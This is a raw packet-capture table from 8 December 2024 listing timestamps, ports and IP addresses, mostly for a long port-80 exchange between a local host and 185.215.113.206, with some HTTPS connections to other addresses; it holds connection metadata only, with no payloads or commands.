Dec 8, 2024 17:45:43.923403978 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.923424959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.923490047 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.924424887 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.924510956 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.924647093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.924727917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.925543070 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.925642014 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.925656080 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.925731897 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.926646948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.926706076 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.926800966 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.926944971 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.927788973 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.927891016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.927906036 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.927958965 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.928888083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.928935051 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.929013014 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.929064035 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.930018902 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.930068016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.930083990 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.930141926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.931168079 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.931220055 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.931256056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.931293011 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.932264090 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.932369947 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.932398081 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.932413101 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.933348894 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.933398962 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.933412075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.933487892 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.934497118 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.934544086 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.934597015 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.934814930 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.935602903 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.935662031 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.935662031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.935733080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.937033892 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.937093019 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.937104940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.937144041 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.938184977 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.938330889 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.938368082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.938430071 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.939152002 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.939259052 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.939281940 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.939393044 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.940115929 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.940186977 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.940248966 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.941370010 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.941517115 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.941682100 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.941732883 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.942693949 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.942758083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.942760944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.942873001 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.943624973 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.943685055 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.943716049 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.943763971 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.944524050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.944598913 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.944674015 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.944752932 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.945660114 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.945703983 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.945874929 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.946799040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.946861982 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.946890116 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.946934938 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.947905064 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.948029995 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.948087931 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.948087931 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.949026108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.949125051 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.949170113 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.949198961 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.950149059 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.950244904 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.950253963 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.950316906 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.951256990 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.951353073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.951395035 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.951417923 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.952367067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.952410936 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.952493906 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.952553034 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.953540087 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.953618050 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.953638077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.953686953 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.954700947 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.954758883 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.954766989 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.954880953 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.955728054 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.955790997 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.955810070 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.956023932 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.956849098 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.956921101 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.956969976 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.957010984 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.957952023 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.958013058 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.958048105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.958106041 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.959122896 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.959242105 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.959292889 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.959336042 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.960201025 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.960360050 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.960395098 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.960516930 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.961374998 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.961452007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.961474895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.961544037 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.962421894 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.962529898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.962532043 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.962630033 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.963556051 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.963613033 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.963654041 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.963730097 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.038670063 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.068380117 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.068582058 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.069019079 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.069034100 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.069564104 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.069569111 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.142612934 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.142677069 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.142745018 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.143146038 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.143176079 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.143188000 CET	49820	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.143193960 CET	443	49820	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.143379927 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.143440008 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.143481016 CET	49821	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.143783092 CET	49821	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.143798113 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.143809080 CET	49821	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.143815041 CET	443	49821	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.144663095 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.144720078 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.144782066 CET	49819	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.145320892 CET	49819	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.145344019 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.145358086 CET	49819	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.145363092 CET	443	49819	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.147156954 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.147233963 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.147290945 CET	49825	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.147301912 CET	49818	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.147336006 CET	443	49825	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.147356033 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.147382975 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.147403955 CET	49825	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.147445917 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.147613049 CET	49818	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.147613049 CET	49818	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.147631884 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.147643089 CET	443	49818	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.148967028 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.148976088 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.149039984 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.149063110 CET	49825	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.149079084 CET	443	49825	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.149178028 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.149194002 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.149317026 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.149327040 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.150321960 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.150357008 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.150628090 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.150748014 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.150760889 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.160453081 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.160938025 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.160953045 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.161134958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.161473036 CET	49822	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:44.161479950 CET	443	49822	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:44.234575987 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.234616995 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.234764099 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.235363960 CET	49829	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.235380888 CET	443	49829	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.254014969 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.254040003 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.254113913 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.256098986 CET	49830	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.256113052 CET	443	49830	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.391609907 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.391649961 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.392157078 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.395262957 CET	49831	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:44.395282984 CET	443	49831	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:44.479959011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.480057955 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.480093002 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.480093956 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.480539083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.480643988 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.480710983 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.480743885 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.481580019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.481654882 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.481728077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.481903076 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.482532024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.482623100 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.482861996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.483182907 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.483691931 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.483752966 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.483833075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.483895063 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.485178947 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.485282898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.485347033 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.485457897 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.486331940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.486522913 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.486679077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.486733913 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.487052917 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.487149000 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.487224102 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.487276077 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.488277912 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.488293886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.488346100 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.488347054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.489298105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.489347935 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.489424944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.489464998 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.490454912 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.490525007 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.490621090 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.490710020 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.491477013 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.491529942 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.491652966 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.491808891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.492647886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.492814064 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.492832899 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.492863894 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.493921041 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.493935108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.493962049 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.493987083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.494848013 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.494899988 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.495016098 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.495085955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.496040106 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.496052027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.496088982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.496088982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.497068882 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.497129917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.497235060 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.497327089 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.498111963 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.498155117 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.498295069 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.498358965 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.499382019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.499419928 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.499524117 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.499568939 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.499979019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.499990940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.500061035 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.501446009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.501498938 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.501571894 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.501633883 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.502295017 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.502306938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.502345085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.502365112 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.503856897 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.503901005 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.503988981 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.504125118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.504921913 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.504975080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.505032063 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.505079031 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.505095959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.505110025 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.505156040 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.505156040 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.505844116 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.505939007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.505948067 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.505981922 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.507019997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.507078886 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.507107973 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.507185936 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.508093119 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.508143902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.508176088 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.508249044 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.509279013 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.509335041 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.509361982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.509373903 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.510310888 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.510370016 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:44.510411024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:44.510449886 CET	49805	80	192.168.2.6	185.215.113.206
